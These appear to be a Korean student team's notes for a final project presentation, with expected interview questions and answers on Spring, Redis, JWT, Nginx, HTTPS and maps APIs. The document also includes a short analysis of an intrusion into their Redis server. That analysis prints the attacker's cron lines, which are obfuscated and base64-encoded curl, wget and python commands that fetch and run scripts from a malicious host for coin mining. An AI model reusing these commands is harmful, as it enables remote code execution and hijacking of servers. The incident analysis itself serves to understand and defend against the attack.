최종 발표 예상 질문
1.
Thymeleaf를 사용한 서버 사이드 렌더링(SSR)의 장점은 무엇인가요?
이예진
박상율
2.
HTTPS를 도입한 보안적 이점은 무엇인가요?
•
데이터의 암호화를 통해 사용자 정보와 통신 내용을 보호하고, 데이터 무결성을 보장하며, MITM(Man-In-The-Middle) 공격을 방지합니다.
이예진
3.
Nginx를 사용한 무중단 배포 방식의 작동 원리는 무엇인가요?
홍정욱
4.
Amazon RDS와 MySQL을 선택한 이유는 무엇인가요?
•
관리의 편리성, 확장성, 백업과 복구 기능, 고가용성 등 Amazon RDS가 제공하는 다양한 기능과 MySQL의 널리 알려진 안정성 때문입니다.
이예진
5.
Redis를 이용한 토큰 관리 시스템의 설계 방법은 무엇인가요?
•
Refresh Token을 Key-Value 형태로 저장하고, TTL(Time-To-Live)을 설정하여 자동 만료 기능을 활용한 토큰의 유효성 관리 방법입니다.
6.
GitHub Actions를 통한 CI/CD 파이프라인 구성의 핵심 요소는 무엇인가요?
•
코드 통합, 자동 테스트, 빌드 생성, AWS EC2로의 자동 배포 등을 포함하여, 개발 생산성을 높이고 배포 과정의 자동화를 구현하는 것입니다.
7.
QueryDSL을 적용하여 해결한 N+1 문제의 기술적 해결 방법은 무엇인가요?
•
QueryDSL을 사용하여 조인 쿼리를 최적화하고, fetch join을 통해 연관된 엔티티를 한 번의 쿼리로 불러와 N+1 문제를 해결합니다.
8.
이미지 리사이징을 위해 사용한 FileReader와 Canvas API의 작동 원리는 무엇인가요?
•
FileReader API로 이미지 파일을 읽어 브라우저에서 직접 접근 가능한 형태로 변환하고, Canvas API를 이용해 이미지 크기를 조정하여 용량을 줄입니다.
박상율
9.
소셜 로그인 구현 시 보안을 위해 취한 조치는 무엇인가요?
홍정욱
10.
Spring Boot의 장점을 프로젝트에 어떻게 활용했나요?
•
Spring Boot의 자동 구성, 내장 서버, 다양한 스타터 패키지를 활용하여 빠르게 개발 환경을 구축하고, RESTful API 구현의 편리함을 누렸습니다.
11.
AWS S3 버킷을 이용한 파일 저장의 이점은 무엇인가요?
•
높은 내구성, 전 세계 어디서나 접근 가능한 스토리지, 비용 효율성, 확장성 등 AWS S3의 이점을 활용하여 파일 저장 및 관리의 효율성을 높였습니다.
박상율
12.
로드 밸런싱을 고려한 아키텍처 설계의 중요성은 무엇인가요?
•
시스템의 부하를 균등하게 분산시켜 서비스의 가용성과 확장성을 높이며, 사용자 요청 처리의 효율성을 개선하는 것이 중요합니다.
13.
Redis의 TTL 기능을 통한 토큰 만료 관리의 장점은 무엇인가요?
•
자동 만료 기능을 통해 토큰의 생명 주기를 관리하므로, 보안성을 유지하면서도 토큰 관리의 오버헤드를 줄일 수 있습니다.
14.
HTTPS와 SSL 인증서를 통한 데이터 암호화의 기술적 원리는 무엇인가요?
•
SSL 인증서를 이용해 클라이언트와 서버 간의 통신을 암호화하여, 데이터의 기밀성과 무결성을 보장하는 보안 프로토콜입니다.
15.
백엔드와 프론트엔드의 분리를 위한 아키텍처 선택 기준은 무엇인가요?
•
유지 보수의 용이성, 개발의 유연성, 기술 스택의 호환성 등을 고려하여, 각각의 계층이 독립적으로 개발 및 확장될 수 있는 구조를 선택합니다.
16.
프론트엔드 프레임워크 선택 시 고려한 기준은 무엇이며, 왜 그 기술을 선택했나요?
•
사용자 경험, 개발 커뮤니티의 활성도, 학습 곡선, 프로젝트 요구 사항 등을 고려하여 최적의 프론트엔드 기술 스택을 선택합니다.
김재한
17.
데이터베이스 트랜잭션 관리를 어떻게 구현했나요?
•
Spring의 @Transactional 어노테이션을 활용하여, 데이터베이스 작업을 일관되고 안정적으로 관리하며, 롤백과 커밋을 자동으로 처리합니다.
18.
웹 애플리케이션의 보안을 강화하기 위해 취한 추가 조치는 무엇인가요?
•
Spring Security를 통한 인증 및 권한 관리, CSRF(Cross Site Request Forgery) 보호, XSS(Cross Site Scripting) 방지 등의 보안 조치를 취했습니다.
19.
프로젝트에서 경험한 가장 큰 기술적 도전과 그 해결 과정은 무엇인가요?
•
특정 기술적 도전(예: 성능 최적화, 보안 이슈)과 이를 해결하기 위해 적용한 기술적 해결책(예: 캐싱 전략, 보안 프로토콜 적용)에 대한 설명입니다.
20.
프로젝트의 성능 향상을 위해 적용한 기술적 최적화는 무엇인가요?
•
페이지 로딩 시간 감소, 서버 응답 속도 향상 등을 위해 적용한 기술적 최적화(예: 이미지 리사이징, 데이터베이스 쿼리 최적화)에 대한 설명입니다.
21.
클라우드 인프라를 활용한 확장성과 안정성 확보 방법은 무엇인가요?
•
AWS의 다양한 서비스(예: EC2, RDS, S3)를 활용하여 애플리케이션의 확장성과 안정성을 확보하는 방법에 대한 설명입니다.
22.
프로젝트 개발 과정에서 자동화 테스트의 역할과 중요성은 무엇인가요?
•
개발 속도 향상, 버그 조기 발견, 코드 품질 유지 등을 위해 구현한 자동화 테스트(단위 테스트, 통합 테스트)의 역할과 중요성에 대한 설명입니다.
23.
애플리케이션 모니터링 및 로깅 전략은 어떻게 수립했나요?
•
시스템의 성능 모니터링, 오류 추적 등을 위해 도입한 로깅 및 모니터링 툴(예: ELK 스택, Prometheus, Grafana)과 그 전략에 대한 설명입니다.
24.
다양한 환경에서의 애플리케이션 호환성을 어떻게 확보했나요?
•
데스크톱, 모바일 등 다양한 디바이스 및 브라우저에서의 호환성을 확보하기 위해 취한 조치(예: 반응형 웹 디자인, 크로스 브라우징 테스트)에 대한 설명입니다.
25.
프로젝트에서 가장 자랑스러운 성과나 기여는 무엇인가요?
•
개인이나 팀 차원에서 이룬 주요 성과나 기여(예: 특정 기능 개발, 성능 최적화, 사용자 피드백 반영)에 대한 설명입니다.
<이미지 처리>
1.
이미지 처리 과정에서 발생한 가장 큰 기술적 어려움과 그 해결 방법은 무엇인가요?
박상율
2.
클라이언트 사이드에서 이미지 리사이징을 선택한 이유와 그 장점은 무엇인가요?
•
서버 부하 감소, 사용자 경험 개선 등 클라이언트 사이드에서 이미지를 리사이징하는 이유와 이 방법이 가져오는 장점에 대한 설명입니다.
박상율
3.
AWS S3와 같은 클라우드 스토리지를 사용하여 이미지를 관리하는 이점은 무엇인가요?
•
높은 가용성, 접근성, 비용 효율성 등 클라우드 기반 스토리지를 사용하여 이미지를 저장하고 관리하는 이점에 대한 설명입니다.
박상율
4.
대용량 이미지 처리를 위한 서버 사이드 최적화 기법은 무엇인가요?
•
이미지 캐싱, 지연 로딩(Lazy Loading), CDN(Content Delivery Network) 사용 등 서버 사이드에서 대용량 이미지 처리 성능을 최적화하기 위한 기법에 대한 설명입니다.
5.
이미지 압축 및 최적화를 구현하기 위해 사용한 알고리즘 또는 라이브러리는 무엇인가요?
박상율
<리프레쉬 토큰>
1.
Refresh 토큰의 유효기간을 어떻게 설정했나요, 그리고 그 기준은 무엇인가요?
이예진
2.
Access 토큰이 만료되었을 때 Refresh 토큰으로 Access 토큰을 재발급하는 프로세스를 설명해주세요.
이예진
3.
Refresh 토큰이 만료되거나 유출되었을 경우의 대응 방안은 무엇인가요?
이예진
4.
Refresh 토큰을 안전하게 저장하는 방법은 무엇이며, 왜 중요한가요?
이예진
5.
Refresh 토큰 갱신 정책을 어떻게 설계했나요?
이예진
<Nginx와 https>
1.
Nginx를 선택한 주된 이유와 HTTP 대신 HTTPS를 적용한 보안적 이점은 무엇인가요?
홍정욱
2.
Nginx를 통한 HTTPS 설정 과정에서 고려해야 하는 보안 사항은 무엇인가요?
홍정욱
3.
Nginx에서 SSL 인증서 갱신 프로세스는 어떻게 자동화했나요?
홍정욱
4.
Nginx를 이용한 로드 밸런싱 구성에서 HTTPS 트래픽 처리를 위한 특별한 설정이 있었나요?
•
SSL 종료, SSL 패스스루, SSL 오프로딩 등 Nginx를 사용한 로드 밸런싱 구성에서 HTTPS 트래픽 처리를 위해 적용한 특별한 설정과 그 이유에 대한 설명입니다.
5.
HTTPS 적용으로 인한 웹 애플리케이션 성능에 미치는 영향과 이를 최적화하기 위한 Nginx 설정은 무엇인가요?
•
HTTPS 적용으로 인한 암호화/복호화 오버헤드, TLS 핸드셰이크 지연 등의 성능 영향과 이를 개선하기 위해 Nginx에서 적용한 성능 최적화 설정(예: 세션 재사용, OCSP stapling)에 대한 설명입니다.
<QueryDSL>
1.
QueryDSL을 사용하는 주된 이유와 JPA/Hibernate와의 비교에서 얻는 이점은 무엇인가요?
이예진
2.
QueryDSL을 통해 복잡한 조인 쿼리를 어떻게 구현했나요?
•
다중 조인, 페치 조인, 조건부 조인 등 QueryDSL을 사용하여 복잡한 조인 쿼리를 구현한 방법과 그 과정에서 고려한 최적화 사항에 대한 설명입니다.
3.
QueryDSL에서 동적 쿼리를 구성하는 방법과 그 중요성은 무엇인가요?
•
BooleanExpression과 같은 조건식을 사용하여 요청에 따라 변화하는 쿼리를 동적으로 생성하는 방법과, 유연한 쿼리 구성을 가능하게 하는 그 중요성에 대한 설명입니다.
4.
QueryDSL을 사용할 때 성능 최적화를 위해 적용한 전략은 무엇인가요?
•
쿼리 결과의 페이징 처리, 적절한 인덱스 활용, 복잡한 쿼리의 서브 쿼리 최소화 등 QueryDSL 쿼리 작성 시 성능을 고려하여 적용한 최적화 전략에 대한 설명입니다.
5.
QueryDSL 설정 과정에서 마주친 어려움과 해결 방법은 무엇인가요?
•
QueryDSL 설정 과정에서 발생할 수 있는 문제점(예: 의존성 문제, 쿼리 컴파일 오류)과 이를 해결하기 위해 적용한 방법(예: Gradle 또는 Maven 설정 조정, 쿼리 로직 검토)에 대한 설명입니다.
이예진
<Redis>
1.
Redis의 주요 사용 사례는 무엇이며, 프로젝트에서 Redis를 사용한 구체적인 예를 들어주세요.
•
캐싱, 세션 관리, 메시지 브로커 등 Redis의 주요 사용 사례와 프로젝트 내에서 이러한 사례를 어떻게 구현했는지에 대한 설명입니다.
김재한
2.
Redis의 데이터 유형 중 어떤 것을 사용했으며, 각 데이터 유형을 선택한 이유는 무엇인가요?
•
문자열, 리스트, 세트, 해시 등 Redis의 다양한 데이터 유형 중 프로젝트에서 사용한 유형과 해당 유형을 선택한 기술적 이유에 대한 설명입니다.
김재한
3.
Redis의 지속성 옵션(RDB, AOF) 중 어떤 것을 사용했나요, 그리고 그 선택의 이유는 무엇인가요?
•
Redis 데이터의 지속성을 위해 RDB(스냅샷), AOF(로그 기반) 중 어떤 옵션을 사용했는지와 그 선택을 한 기술적, 운영적 이유에 대한 설명입니다.
김재한
이예진
<JWT>
1.
JWT는 무엇이며, 왜 사용하나요?
•
JWT(JSON Web Token)는 웹 표준으로, 두 개체 사이에서 JSON 객체를 사용하여 안전하게 정보를 전송하기 위한 컴팩트하고 자가 수용적인 방법입니다. 주로 사용자 인증과 정보 교환에 사용됩니다. JWT는 정보가 수정되지 않았음을 검증할 수 있는 서명이 포함되어 있어, 보안성이 높은 데이터 교환에 적합합니다.
2.
JWT의 구조는 어떻게 되어 있나요?
•
JWT는 세 부분으로 구성되어 있습니다: 헤더(Header), 페이로드(Payload), 그리고 서명(Signature). 헤더는 토큰의 타입과 해싱 알고리즘 정보를 담고 있고, 페이로드는 토큰에 담을 클레임(즉, 사용자 정보나 데이터)을 포함하며, 서명은 헤더와 페이로드를 합친 후 주어진 알고리즘으로 해싱하여 생성됩니다. 이 서명은 토큰의 무결성을 보장합니다.
3.
JWT에서 RS256과 HS256 알고리즘의 차이점은 무엇인가요?
•
HS256은 HMAC(Hash-based Message Authentication Code)을 사용하는 대칭 알고리즘이며, 토큰을 생성하고 검증할 때 같은 비밀 키를 사용합니다. 반면, RS256은 RSA를 사용하는 비대칭 알고리즘으로, 토큰의 서명을 생성할 때 개인 키를 사용하고 검증할 때는 공개 키를 사용합니다. 비대칭 알고리즘은 보안성이 더 높지만, 처리 비용이 더 들 수 있습니다.
4.
JWT의 장점과 단점은 무엇인가요?
•
JWT의 장점은 간편한 전송, 자가 수용적인 구조로 인한 높은 확장성, 그리고 중앙 인증 서버가 필요 없이 클라이언트와 서버 간 인증이 가능합니다. 단점으로는 페이로드가 암호화되지 않아 중요 정보가 포함되면 안전하지 않을 수 있으멀로, 민감한 정보를 담을 때는 주의가 필요합니다. 또한, JWT는 한 번 발급되면 만료 시간이 될 때까지 유효하기 때문에, 탈취되면 보안 문제가 발생할 수 있습니다.
5.
JWT 토큰을 어떻게 안전하게 저장하고 관리해야 하나요?
•
답변: 클라이언트 측에서는 JWT를 안전하게 저장하기 위해 HTTPS를 사용하여 토큰을 전송하고, 쿠키에 HttpOnly 및 Secure 플래그를 설정하여 XSS와 CSRF 공격을 방지해야 합니다. 서버 측에서는 JWT의 민감한 정보를 보호하기 위해 가능하면 페이로드에 민감한 데이터를 포함하지 않고, 토큰의 만료 시간을 적절히 설정하여 사용합니다. 또한, 비대칭 알고리즘을 사용하여 서명하는 것이 보안에 더 좋습니다.
<지도 api>
1.
질문: Google Maps API를 프로젝트에 어떻게 통합했나요?
김진환
답변: Google Maps JavaScript API를 사용해 프론트엔드에 지도를 표시했어요. API 키를 발급받고, 해당 키를 사용해 API를 초기화한 후, 지도를 웹 페이지에 불러와 사용자가 산책로를 시각적으로 볼 수 있게 구현했죠. 또한, 백엔드에서는 Google Maps Geocoding API를 사용해 사용자가 입력한 주소를 위도와 경도로 변환하는 기능을 구현했습니다.
1.
질문: Google Maps API 사용 시 어떤 보안 조치를 취했나요?
답변: API 키를 안전하게 보호하기 위해 HTTP 리퍼러를 사용해 API 키의 웹사이트 도메인에 대한 요청만을 허용했어요. 또한, 환경 변수를 사용해 API 키를 코드에 직접 포함시키지 않고 서버 측에서 관리했습니다. 이렇게 함으로써 무단 사용을 방지하고 보안을 강화했죠.
김진환
2.
질문: 사용자의 경험을 향상시키기 위해 Google Maps API와 함께 어떤 기능을 구현했나요?
답변: 사용자가 산책로를 쉽게 찾고 탐색할 수 있도록 맞춤 마커와 정보 창을 구현했어요. 사용자가 특정 위치에 마커를 클릭하면 그 장소에 대한 상세 정보가 포함된 정보 창이 표시되도록 했습니다. 또한, 경로 찾기 기능을 통해 사용자가 현재 위치에서 목적지까지의 최적 경로를 확인할 수 있게 했죠.
김진환
3.
질문: 프로젝트에서 Google Maps API 사용으로 인해 발생한 어려움은 무엇이었나요? 그리고 어떻게 해결했나요?
답변: API 사용량 제한과 비용 문제가 있었어요. 사용량이 늘어나면서 비용이 증가하는 문제를 관리하기 위해, 캐싱 전략을 도입해 API 요청 수를 최소화했습니다. 또한, 필요한 기능에만 API를 사용하도록 기능을 최적화해 비용 효율성을 높였죠.
김진환
4.
질문: Google Maps API 외에 다른 API나 서비스를 고려했거나 사용했나요? 그 이유는 무엇인가요?
답변: 네, OpenStreetMap과 같은 오픈 소스 지도 서비스도 고려했어요. 하지만 Google Maps의 광범위한 데이터베이스, 사용자 친화적인 UI, 그리고 안정성 때문에 Google Maps를 선택했습니다. 그러나 프로젝트의 특정 요구사항에 따라 다른 API를 탐색하고 통합할 준비가 되어 있어요.
김진환
<기타 예상 질문>
1.
정적 파일 배포를 위해 Docker image를 이용한 배포 방법을 선택한 이유는 무엇인가요?
이예진
이상 현상의 원인을 찾아간 과정
•
redis-cli 를 통해 keys * 로 확인해보니, backup1, backup2, backup3 이라는 키값들이 존재했다.
•
팀원중에 누군가 해당 키워드로 검색한 것인지 확인해봤으나 아무도 해당 키워드를 사용하지는 않았다고 한다.
•
redis log를 확인해보니, 레디스에서 save 되는 명령어가 반복되었고, 해당 시점이 데이터가 날아간 시점이었다.
•
backup key에 저장된 값을 조회해보니, cron 명령어 형식이 들어있는 것을 보고, redis에서 자동으로 backup을 이런식으로 해주는구나로 생각해버리고 말았다.
•
하지만, redis에서 db를 backup하는 방식은 RDB 또는 AOF 방식이다.
•
분명 RDB 형태로 데이터 셋을 스냅샷하여 저장하도록 설정해놨는데, 사용하지 않은 key가 redis에 set된 다는 것은 이상하다는 생각이 들었다.
•
dump.rdb 파일을 확인해보니, backup1, backup2, backup3 외에 이상한 python2 코드가 있는 것을 확인했다.
# dump.rdb
@hourly root python -c "import urllib2; print urllib2.urlopen('<http://ki>\\s\\s.a-d\\og.t\\op/t.sh').read()" >.1;chmod +x .1;./.1
...
Shell
복사
여기서 해커가 \\ 를 사용한 이유는 자동으로 악의적인 도메인을 거르는 필터를 무력화시키고, python의 urllib2 라이브러리가 백슬래시를 무시하는 것을 악용한 것이 되겠다.
이 부분외에도, backup3, 2, 1에 저장되어 있는 value는 base64로 encode 되어있다.
# dump.rdb
...
backup3@c
*/4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash
backup2@o
*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash
backup1@d
*/2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash
Shell
복사
각각의 echo 되는 value들을 base64 decode 해보면 다음과 같다.
curl <http://kiss.a-dog.top/b2f628/b.sh>
wget -q -O- <http://kiss.a-dog.top/b2f628/b.sh>
cd1 <http://kiss.a-dog.top/b2f628/b.sh>
Shell
복사
t.sh 파일과 b.sh 파일은 내용을 확인해보니 동일한 shell script 였다. 각 shell script에서는 또 다른 kiss.a-dog.top url 쪽의 또 다른 shell script를 불러와서 실행하도록 한다.
http://kiss.a-dog.top/b2f628/d/ar.sh 해당 파일의 코드를 읽어보면, echo 하는 부분이 재미있으니 심심하면 한번 보기 바란다. base64로 encoding 된 코드를 실행하는 부분은 참신했다.
우리 서버를 코인 마이닝 서버로 활용하려고 했다.
로드밸런싱 적용(중도포기)
•
기존 ec2 인스턴스를 이미지를 사용해 복제
◦
기존에 연결되어있던 탄력적 IP 연결 해제
•
로드 밸런서 역할을 할 ec2 인스턴스를 새로 생성
◦
docker(for redis)와 nginx를 설치
◦
탄력적 IP 생성 및 연결
◦
Redis 컨테이너 생성
docker run --name redis-server -d -p 6379:6379 redis redis-server --requirepass yourpassword
Java
복사
•
백엔드 ec2 인스턴스 설정
◦
redis-cli 다운로드
sudo apt-get install redis-tools
Java
복사
◦
로드밸런서 서버의 redis와 연결
redis-cli -h <Redis 서버 인스턴스의 IP 주소> -p 6379 -a yourpassword
# redis-cli -h 3.36.206.196 -p 6379 -a yourpassword
Bash
복사
•
보안그룹 설정
◦
로드밸런서: 443, 80, 6379 +22
◦
백엔드: 8080, 8081, 3306
구상도